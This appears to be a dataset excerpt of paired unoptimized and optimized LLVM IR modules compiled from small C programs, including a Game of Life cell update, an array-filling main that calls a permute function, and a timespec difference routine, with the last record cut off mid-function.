llvm-ir stringlengths 479 303k | llvm-optimized-ir stringlengths 468 303k |
|---|---|
; ModuleID = '/tmp/tmp1sg0pvc9.c'
source_filename = "/tmp/tmp1sg0pvc9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @evolve(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4, i32 noundef %5) #0 {
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca ptr, align 8
%14 = alloca ptr, align 8
%15 = alloca i32, align 4
store ptr %0, ptr %7, align 8
store ptr %1, ptr %8, align 8
store i32 %2, ptr %9, align 4
store i32 %3, ptr %10, align 4
store i32 %4, ptr %11, align 4
store i32 %5, ptr %12, align 4
%16 = load i32, ptr %9, align 4
%17 = zext i32 %16 to i64
%18 = load i32, ptr %9, align 4
%19 = zext i32 %18 to i64
%20 = load ptr, ptr %7, align 8
store ptr %20, ptr %13, align 8
%21 = load i32, ptr %9, align 4
%22 = zext i32 %21 to i64
%23 = load i32, ptr %9, align 4
%24 = zext i32 %23 to i64
%25 = load ptr, ptr %7, align 8
store ptr %25, ptr %14, align 8
%26 = load ptr, ptr %7, align 8
%27 = load i32, ptr %9, align 4
%28 = load i32, ptr %10, align 4
%29 = load i32, ptr %11, align 4
%30 = load i32, ptr %12, align 4
%31 = call i32 @CalculateLiveNeighbours(ptr noundef %26, i32 noundef %27, i32 noundef %28, i32 noundef %29, i32 noundef %30)
store i32 %31, ptr %15, align 4
%32 = load ptr, ptr %13, align 8
%33 = load i32, ptr %12, align 4
%34 = zext i32 %33 to i64
%35 = mul nsw i64 %34, %17
%36 = getelementptr inbounds i8, ptr %32, i64 %35
%37 = load i32, ptr %11, align 4
%38 = zext i32 %37 to i64
%39 = getelementptr inbounds i8, ptr %36, i64 %38
%40 = load i8, ptr %39, align 1
%41 = zext i8 %40 to i32
%42 = icmp eq i32 %41, 0
br i1 %42, label %43, label %55
43: ; preds = %6
%44 = load i32, ptr %15, align 4
%45 = icmp eq i32 %44, 3
br i1 %45, label %46, label %55
46: ; preds = %43
%47 = load ptr, ptr %13, align 8
%48 = load i32, ptr %12, align 4
%49 = zext i32 %48 to i64
%50 = mul nsw i64 %49, %17
%51 = getelementptr inbounds i8, ptr %47, i64 %50
%52 = load i32, ptr %11, align 4
%53 = zext i32 %52 to i64
%54 = getelementptr inbounds i8, ptr %51, i64 %53
store i8 1, ptr %54, align 1
br label %89
55: ; preds = %43, %6
%56 = load i32, ptr %15, align 4
%57 = icmp eq i32 %56, 3
br i1 %57, label %70, label %58
58: ; preds = %55
%59 = load i32, ptr %15, align 4
%60 = icmp eq i32 %59, 2
br i1 %60, label %70, label %61
61: ; preds = %58
%62 = load ptr, ptr %13, align 8
%63 = load i32, ptr %12, align 4
%64 = zext i32 %63 to i64
%65 = mul nsw i64 %64, %17
%66 = getelementptr inbounds i8, ptr %62, i64 %65
%67 = load i32, ptr %11, align 4
%68 = zext i32 %67 to i64
%69 = getelementptr inbounds i8, ptr %66, i64 %68
store i8 0, ptr %69, align 1
br label %88
70: ; preds = %58, %55
%71 = load ptr, ptr %13, align 8
%72 = load i32, ptr %12, align 4
%73 = zext i32 %72 to i64
%74 = mul nsw i64 %73, %17
%75 = getelementptr inbounds i8, ptr %71, i64 %74
%76 = load i32, ptr %11, align 4
%77 = zext i32 %76 to i64
%78 = getelementptr inbounds i8, ptr %75, i64 %77
%79 = load i8, ptr %78, align 1
%80 = load ptr, ptr %14, align 8
%81 = load i32, ptr %12, align 4
%82 = zext i32 %81 to i64
%83 = mul nsw i64 %82, %22
%84 = getelementptr inbounds i8, ptr %80, i64 %83
%85 = load i32, ptr %11, align 4
%86 = zext i32 %85 to i64
%87 = getelementptr inbounds i8, ptr %84, i64 %86
store i8 %79, ptr %87, align 1
br label %88
88: ; preds = %70, %61
br label %89
89: ; preds = %88, %46
ret void
}
declare i32 @CalculateLiveNeighbours(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1sg0pvc9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @evolve(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4, i32 noundef %5) #0 {
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca ptr, align 8
%14 = alloca ptr, align 8
%15 = alloca i32, align 4
store ptr %0, ptr %7, align 8
store ptr %1, ptr %8, align 8
store i32 %2, ptr %9, align 4
store i32 %3, ptr %10, align 4
store i32 %4, ptr %11, align 4
store i32 %5, ptr %12, align 4
%16 = load i32, ptr %9, align 4
%17 = zext i32 %16 to i64
%18 = load i32, ptr %9, align 4
%19 = zext i32 %18 to i64
%20 = load ptr, ptr %7, align 8
store ptr %20, ptr %13, align 8
%21 = load i32, ptr %9, align 4
%22 = zext i32 %21 to i64
%23 = load i32, ptr %9, align 4
%24 = zext i32 %23 to i64
%25 = load ptr, ptr %7, align 8
store ptr %25, ptr %14, align 8
%26 = load ptr, ptr %7, align 8
%27 = load i32, ptr %9, align 4
%28 = load i32, ptr %10, align 4
%29 = load i32, ptr %11, align 4
%30 = load i32, ptr %12, align 4
%31 = call i32 @CalculateLiveNeighbours(ptr noundef %26, i32 noundef %27, i32 noundef %28, i32 noundef %29, i32 noundef %30)
store i32 %31, ptr %15, align 4
%32 = load ptr, ptr %13, align 8
%33 = load i32, ptr %12, align 4
%34 = zext i32 %33 to i64
%35 = mul nsw i64 %34, %17
%36 = getelementptr inbounds i8, ptr %32, i64 %35
%37 = load i32, ptr %11, align 4
%38 = zext i32 %37 to i64
%39 = getelementptr inbounds i8, ptr %36, i64 %38
%40 = load i8, ptr %39, align 1
%41 = zext i8 %40 to i32
%42 = icmp eq i32 %41, 0
br i1 %42, label %43, label %55
43: ; preds = %6
%44 = load i32, ptr %15, align 4
%45 = icmp eq i32 %44, 3
br i1 %45, label %46, label %55
46: ; preds = %43
%47 = load ptr, ptr %13, align 8
%48 = load i32, ptr %12, align 4
%49 = zext i32 %48 to i64
%50 = mul nsw i64 %49, %17
%51 = getelementptr inbounds i8, ptr %47, i64 %50
%52 = load i32, ptr %11, align 4
%53 = zext i32 %52 to i64
%54 = getelementptr inbounds i8, ptr %51, i64 %53
store i8 1, ptr %54, align 1
br label %89
55: ; preds = %43, %6
%56 = load i32, ptr %15, align 4
%57 = icmp eq i32 %56, 3
br i1 %57, label %70, label %58
58: ; preds = %55
%59 = load i32, ptr %15, align 4
%60 = icmp eq i32 %59, 2
br i1 %60, label %70, label %61
61: ; preds = %58
%62 = load ptr, ptr %13, align 8
%63 = load i32, ptr %12, align 4
%64 = zext i32 %63 to i64
%65 = mul nsw i64 %64, %17
%66 = getelementptr inbounds i8, ptr %62, i64 %65
%67 = load i32, ptr %11, align 4
%68 = zext i32 %67 to i64
%69 = getelementptr inbounds i8, ptr %66, i64 %68
store i8 0, ptr %69, align 1
br label %88
70: ; preds = %58, %55
%71 = load ptr, ptr %13, align 8
%72 = load i32, ptr %12, align 4
%73 = zext i32 %72 to i64
%74 = mul nsw i64 %73, %17
%75 = getelementptr inbounds i8, ptr %71, i64 %74
%76 = load i32, ptr %11, align 4
%77 = zext i32 %76 to i64
%78 = getelementptr inbounds i8, ptr %75, i64 %77
%79 = load i8, ptr %78, align 1
%80 = load ptr, ptr %14, align 8
%81 = load i32, ptr %12, align 4
%82 = zext i32 %81 to i64
%83 = mul nsw i64 %82, %22
%84 = getelementptr inbounds i8, ptr %80, i64 %83
%85 = load i32, ptr %11, align 4
%86 = zext i32 %85 to i64
%87 = getelementptr inbounds i8, ptr %84, i64 %86
store i8 %79, ptr %87, align 1
br label %88
88: ; preds = %70, %61
br label %89
89: ; preds = %88, %46
ret void
}
declare i32 @CalculateLiveNeighbours(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpww9vmlqi.c'
source_filename = "/tmp/tmpww9vmlqi.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpww9vmlqi.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmptytigvo2.c'
source_filename = "/tmp/tmptytigvo2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmptytigvo2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpb1gosg2v.c'
source_filename = "/tmp/tmpb1gosg2v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpb1gosg2v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpe0gdu22q.c'
source_filename = "/tmp/tmpe0gdu22q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpe0gdu22q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpt7awu5s4.c'
source_filename = "/tmp/tmpt7awu5s4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EXIT_FAILURE = dso_local global i32 0, align 4
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%9 = load i32, ptr %4, align 4
%10 = icmp ne i32 %9, 2
br i1 %10, label %11, label %13
11: ; preds = %2
%12 = load i32, ptr @EXIT_FAILURE, align 4
store i32 %12, ptr %3, align 4
br label %50
13: ; preds = %2
%14 = load ptr, ptr %5, align 8
%15 = getelementptr inbounds ptr, ptr %14, i64 1
%16 = load ptr, ptr %15, align 8
%17 = call i64 @strtol(ptr noundef %16, ptr noundef null, i32 noundef 10)
%18 = trunc i64 %17 to i32
store i32 %18, ptr %6, align 4
%19 = load i32, ptr %6, align 4
%20 = icmp sle i32 %19, 0
br i1 %20, label %21, label %23
21: ; preds = %13
%22 = load i32, ptr @EXIT_FAILURE, align 4
store i32 %22, ptr %3, align 4
br label %50
23: ; preds = %13
%24 = load i32, ptr %6, align 4
%25 = sext i32 %24 to i64
%26 = mul i64 4, %25
%27 = trunc i64 %26 to i32
%28 = call ptr @malloc(i32 noundef %27)
store ptr %28, ptr %7, align 8
store i32 0, ptr %8, align 4
br label %29
29: ; preds = %40, %23
%30 = load i32, ptr %8, align 4
%31 = load i32, ptr %6, align 4
%32 = icmp slt i32 %30, %31
br i1 %32, label %33, label %43
33: ; preds = %29
%34 = load i32, ptr %8, align 4
%35 = add nsw i32 %34, 1
%36 = load ptr, ptr %7, align 8
%37 = load i32, ptr %8, align 4
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds i32, ptr %36, i64 %38
store i32 %35, ptr %39, align 4
br label %40
40: ; preds = %33
%41 = load i32, ptr %8, align 4
%42 = add nsw i32 %41, 1
store i32 %42, ptr %8, align 4
br label %29, !llvm.loop !6
43: ; preds = %29
%44 = load ptr, ptr %7, align 8
%45 = load i32, ptr %6, align 4
%46 = call i32 @permute(ptr noundef %44, i32 noundef %45)
%47 = load ptr, ptr %7, align 8
%48 = call i32 @free(ptr noundef %47)
%49 = load i32, ptr @EXIT_SUCCESS, align 4
store i32 %49, ptr %3, align 4
br label %50
50: ; preds = %43, %21, %11
%51 = load i32, ptr %3, align 4
ret i32 %51
}
declare i64 @strtol(ptr noundef, ptr noundef, i32 noundef) #1
declare ptr @malloc(i32 noundef) #1
declare i32 @permute(ptr noundef, i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpt7awu5s4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EXIT_FAILURE = dso_local global i32 0, align 4
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%9 = load i32, ptr %4, align 4
%10 = icmp ne i32 %9, 2
br i1 %10, label %11, label %13
11: ; preds = %2
%12 = load i32, ptr @EXIT_FAILURE, align 4
store i32 %12, ptr %3, align 4
br label %52
13: ; preds = %2
%14 = load ptr, ptr %5, align 8
%15 = getelementptr inbounds ptr, ptr %14, i64 1
%16 = load ptr, ptr %15, align 8
%17 = call i64 @strtol(ptr noundef %16, ptr noundef null, i32 noundef 10)
%18 = trunc i64 %17 to i32
store i32 %18, ptr %6, align 4
%19 = load i32, ptr %6, align 4
%20 = icmp sle i32 %19, 0
br i1 %20, label %21, label %23
21: ; preds = %13
%22 = load i32, ptr @EXIT_FAILURE, align 4
store i32 %22, ptr %3, align 4
br label %52
23: ; preds = %13
%24 = load i32, ptr %6, align 4
%25 = sext i32 %24 to i64
%26 = mul i64 4, %25
%27 = trunc i64 %26 to i32
%28 = call ptr @malloc(i32 noundef %27)
store ptr %28, ptr %7, align 8
store i32 0, ptr %8, align 4
%29 = load i32, ptr %8, align 4
%30 = load i32, ptr %6, align 4
%31 = icmp slt i32 %29, %30
br i1 %31, label %.lr.ph, label %45
.lr.ph: ; preds = %23
br label %32
32: ; preds = %.lr.ph, %39
%33 = load i32, ptr %8, align 4
%34 = add nsw i32 %33, 1
%35 = load ptr, ptr %7, align 8
%36 = load i32, ptr %8, align 4
%37 = sext i32 %36 to i64
%38 = getelementptr inbounds i32, ptr %35, i64 %37
store i32 %34, ptr %38, align 4
br label %39
39: ; preds = %32
%40 = load i32, ptr %8, align 4
%41 = add nsw i32 %40, 1
store i32 %41, ptr %8, align 4
%42 = load i32, ptr %8, align 4
%43 = load i32, ptr %6, align 4
%44 = icmp slt i32 %42, %43
br i1 %44, label %32, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %39
br label %45
45: ; preds = %._crit_edge, %23
%46 = load ptr, ptr %7, align 8
%47 = load i32, ptr %6, align 4
%48 = call i32 @permute(ptr noundef %46, i32 noundef %47)
%49 = load ptr, ptr %7, align 8
%50 = call i32 @free(ptr noundef %49)
%51 = load i32, ptr @EXIT_SUCCESS, align 4
store i32 %51, ptr %3, align 4
br label %52
52: ; preds = %45, %21, %11
%53 = load i32, ptr %3, align 4
ret i32 %53
}
declare i64 @strtol(ptr noundef, ptr noundef, i32 noundef) #1
declare ptr @malloc(i32 noundef) #1
declare i32 @permute(ptr noundef, i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpcq26vt7h.c'
source_filename = "/tmp/tmpcq26vt7h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpcq26vt7h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpnu1d4_1p.c'
source_filename = "/tmp/tmpnu1d4_1p.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timespec = type { i64, i64 }
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @flu_tdiff(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i16, align 2
%6 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
store i16 0, ptr %5, align 2
%7 = call ptr @calloc(i32 noundef 1, i32 noundef 16)
store ptr %7, ptr %6, align 8
%8 = load ptr, ptr %3, align 8
%9 = icmp eq ptr %8, null
br i1 %9, label %10, label %12
10: ; preds = %2
store i16 1, ptr %5, align 2
%11 = call ptr (...) @flu_now()
store ptr %11, ptr %3, align 8
br label %12
12: ; preds = %10, %2
%13 = load ptr, ptr %3, align 8
%14 = getelementptr inbounds %struct.timespec, ptr %13, i32 0, i32 1
%15 = load i64, ptr %14, align 8
%16 = load ptr, ptr %4, align 8
%17 = getelementptr inbounds %struct.timespec, ptr %16, i32 0, i32 1
%18 = load i64, ptr %17, align 8
%19 = sub nsw i64 %15, %18
%20 = load ptr, ptr %6, align 8
%21 = getelementptr inbounds %struct.timespec, ptr %20, i32 0, i32 1
store i64 %19, ptr %21, align 8
%22 = load ptr, ptr %3, align 8
%23 = getelementptr inbounds %struct.timespec, ptr %22, i32 0, i32 0
%24 = load i64, ptr %23, align 8
%25 = load ptr, ptr %4, align 8
%26 = getelementptr inbounds %struct.timespec, ptr %25, i32 0, i32 0
%27 = load i64, ptr %26, align 8
%28 = sub nsw i64 %24, %27
%29 = load ptr, ptr %6, align 8
%30 = getelementptr inbounds %struct.timespec, ptr %29, i32 0, i32 0
store i64 %28, ptr %30, align 8
%31 = load ptr, ptr %6, align 8
%32 = getelementptr inbounds %struct.timespec, ptr %31, i32 0, i32 0
%33 = load i64, ptr %32, align 8
%34 = icmp slt i64 %33, 0
br i1 %34, label %35, label %44
35: ; preds = %12
%36 = load ptr, ptr %6, align 8
%37 = getelementptr inbounds %struct.timespec, ptr %36, i32 0, i32 1
%38 = load i64, ptr %37, align 8
%39 = add nsw i64 %38, -1
store i64 %39, ptr %37, align 8
%40 = load ptr, ptr %6, align 8
%41 = getelementptr inbounds %struct.timespec, ptr %40, i32 0, i32 0
%42 = load i64, ptr %41, align 8
%43 = add nsw i64 %42, 1000000000
store i64 %43, ptr %41, align 8
br label %44
44: ; preds = %35, %12
%45 = load i16, ptr %5, align 2
%46 = icmp ne i16 %45, 0
br i1 %46, label %47, label %50
47: ; preds = %44
%48 = load ptr, ptr %3, align 8
%49 = call i32 @free(ptr noundef %48)
br label %50
50: ; preds = %47, %44
%51 = load ptr, ptr %6, align 8
ret ptr %51
}
declare ptr @calloc(i32 noundef, i32 noundef) #1
declare ptr @flu_now(...) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpnu1d4_1p.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timespec = type { i64, i64 }
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @flu_tdiff(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i16, align 2
%6 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
store i16 0, ptr %5, align 2
%7 = call ptr @calloc(i32 noundef 1, i32 noundef 16)
store ptr %7, ptr %6, align 8
%8 = load ptr, ptr %3, align 8
%9 = icmp eq ptr %8, null
br i1 %9, label %10, label %12
10: ; preds = %2
store i16 1, ptr %5, align 2
%11 = call ptr (...) @flu_now()
store ptr %11, ptr %3, align 8
br label %12
12: ; preds = %10, %2
%13 = load ptr, ptr %3, align 8
%14 = getelementptr inbounds %struct.timespec, ptr %13, i32 0, i32 1
%15 = load i64, ptr %14, align 8
%16 = load ptr, ptr %4, align 8
%17 = getelementptr inbounds %struct.timespec, ptr %16, i32 0, i32 1
%18 = load i64, ptr %17, align 8
%19 = sub nsw i64 %15, %18
